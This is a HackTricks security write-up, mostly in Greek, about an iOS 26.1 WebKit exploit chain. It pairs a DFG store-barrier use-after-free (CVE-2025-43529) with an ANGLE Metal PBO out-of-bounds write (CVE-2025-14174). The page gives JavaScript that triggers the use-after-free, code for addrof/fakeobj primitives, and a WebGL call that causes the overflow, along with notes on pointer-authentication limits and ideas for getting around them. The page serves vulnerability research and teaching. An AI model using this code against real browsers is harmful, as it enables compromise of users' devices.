WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Περίληψη
- DFG Store Barrier bug (CVE-2025-43529): Στο
DFGStoreBarrierInsertionPhase.cpp, ένας Phi node που έχει σημειωθεί ως escaped ενώ οι Upsilon είσοδοι του δεν είναι, προκαλεί στη φάση να παραλείψει την εισαγωγή ενός write barrier σε επακόλουθες object stores. Υπό πίεση του GC αυτό επιτρέπει στο JSC να ελευθερώσει αντικείμενα που εξακολουθούν να είναι προσβάσιμα → use-after-free. - Exploit target: Αναγκάστε ένα αντικείμενο
Dateνα materialize ένα butterfly (π.χ.,a[0] = 1.1) ώστε το butterfly να απελευθερωθεί, και στη συνέχεια να ανακτηθεί ως array element storage για να δημιουργηθεί σύγχυση boxed/unboxed →addrof/fakeobjprimitives. - ANGLE Metal PBO bug (CVE-2025-14174): Το Metal backend δεσμεύει το PBO staging buffer χρησιμοποιώντας
UNPACK_IMAGE_HEIGHTαντί για το πραγματικό texture height. Παρέχοντας ένα πολύ μικρό unpack height και εκδίδοντας στη συνέχεια ένα μεγάλοtexImage2Dπροκαλεί ένα staging-buffer OOB write (~240KB στο PoC παρακάτω). - PAC blockers on arm64e (iOS 26.1): Το TypedArray
m_vectorκαι το JSArraybutterflyείναι PAC-signed· η δημιουργία forged fake objects με attacker-chosen pointers προκαλεί crash μεEXC_BAD_ACCESS/EXC_ARM_PAC. Μόνο η επαναχρησιμοποίηση ήδη-signed butterflies (boxed/unboxed reinterpretation) λειτουργεί.
Ενεργοποίηση του DFG missing barrier → UAF
function triggerUAF(flag, allocCount) {
const A = {p0: 0x41414141, p1: 1.1, p2: 2.2};
arr[arr_index] = A; // Tenure A in old space
const a = new Date(1111); a[0] = 1.1; // Force Date butterfly
// GC pressure
for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000));
const b = {p0: 0x42424242, p1: 1.1};
let f = b; if (flag) f = 1.1; // Phi escapes, Upsilon not escaped
A.p1 = f; // Missing barrier state set up
for (let i = 0; i < 1e6; ++i) {} // GC race window
b.p1 = a; // Store without barrier → frees `a`/butterfly
}
Κύρια σημεία:
- Τοποθετήστε A στο old space για να ασκήσετε τις generational barriers.
- Δημιουργήστε έναν indexed Date έτσι ώστε το butterfly να είναι ο freed target.
- Spray
ArrayBuffer(0x800000)για να αναγκάσετε το GC και να διευρύνετε τον race. - Η ασυμφωνία Phi/Upsilon στο escape εμποδίζει την εισαγωγή barrier·
b.p1 = aτρέχει χωρίς write barrier, οπότε το GC ανακτά τοa/butterfly.
Butterfly reclaim → boxed/unboxed σύγχυση
Αφού το GC απελευθερώσει το Date butterfly, κάντε spray arrays έτσι ώστε το freed slab να επαναχρησιμοποιηθεί ως elements για δύο arrays με διαφορετικά element kinds:
boxed_arr[0] = obj; // store as boxed pointer
const addr = ftoi(unboxed_arr[0]); // read as float64 → addr leak
unboxed_arr[0] = itof(addr); // write pointer bits as float
const fake = boxed_arr[0]; // reinterpret as object → fakeobj
Status on iOS 26.1 (arm64e):
- Λειτουργεί:
addrof,fakeobj, 20+ address leaks ανά εκτέλεση, inline-slot read/write (on known inline fields). - Δεν είναι ακόμη σταθερό: generalized
read64/write64via inline-slot backings.
Περιορισμοί PAC σε arm64e (why fake objects crash)
- TypedArray
m_vectorκαι JSArraybutterflyείναι PAC-signed· forging pointers οδηγεί σεEXC_BAD_ACCESS/ πιθανόEXC_ARM_PAC. - Το confusion primitive λειτουργεί επειδή επαναχρησιμοποιεί legitimate signed butterflies· η εισαγωγή unsigned attacker pointers αποτυγχάνει authentication.
- Σημειώνονται πιθανές ιδέες bypass: JIT paths that skip auth, gadgets that sign attacker pointers, ή pivoting through the ANGLE OOB.
ANGLE Metal PBO under-allocation → OOB write
Χρησιμοποιήστε ένα πολύ μικρό unpack height για να συρρικνώσετε το staging buffer, και στη συνέχεια ανεβάστε μια μεγάλη texture ώστε η copy να overruns:
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // alloc height
// staging = 256 * 16 * 4 = 16KB
// actual = 256 * 256 * 4 = 256KB → ~240KB OOB
gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
Σημειώσεις:
- Σφάλμα στο
TextureMtl.cpp: staging buffer χρησιμοποιείUNPACK_IMAGE_HEIGHTαντί για το πραγματικό ύψος της υφής στη διαδρομή PBO. - Στην reference probe ο WebGL2 PBO trigger έχει συνδεθεί αλλά δεν έχει ακόμη παρατηρηθεί αξιόπιστα στο iOS 26.1.
Αναφορές
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


